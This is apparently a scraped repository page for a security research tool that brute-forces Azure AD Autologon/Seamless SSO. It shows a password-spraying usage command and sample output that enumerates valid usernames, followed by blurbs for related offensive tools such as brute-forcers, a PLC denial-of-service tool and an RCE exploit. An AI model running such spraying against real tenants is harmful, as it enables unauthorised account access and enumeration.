AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

Lazarus analysis tools and research report

This is a simple tool to create ZIP payloads using a provided wordlist for the symlink attack (present in some file upload vulnerabilities)

SecurAID securely connects aid organizations directly with individuals in dangerous situations to allow them to discreetly and effectively get the assistance they need.

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

SSLyze is a fast and powerful SSL/TLS scanning tool and Python library.

A simple multi-threaded distributed SSH brute-forcing tool written in Python.

Detection tool of malware(s) by checksum (useful for forensic)

A script based on sqlmap that uses sql injection vulnerabilities to traverse the existence of a file

Instagram brute force tool that uses tor as its proxy connections

PrivateRoom - Make your work private by building a system using arduino which instantly kills a program when someone enters your room/cabin

Script to calculate Active Directory Kerberos keys (AES256 and AES128) for an account, using its plaintext password

Fast python tool to test apache path traversal CVE-2021-41773 in a List of url

python driver for fingerprint machine (ZKTeco biometrics)

Port scanner tool with easy installation

Simple Python 3 script to detect the "Log4j" Java library vulnerability (CVE-2021-44228) for a list of URL with multithreading

This repository consists of the python scripts for execution and automation of vivid tasks.

👑 Discovery Header DoD Bug-Bounty

Collection Of Discord Hacking Tools / Fun Stuff / Exploits That Is Completely Made Using Python.

An forensics tool to help aid in the investigation of spoofed emails based off the email headers.

Übersicht remote command execution 0day exploit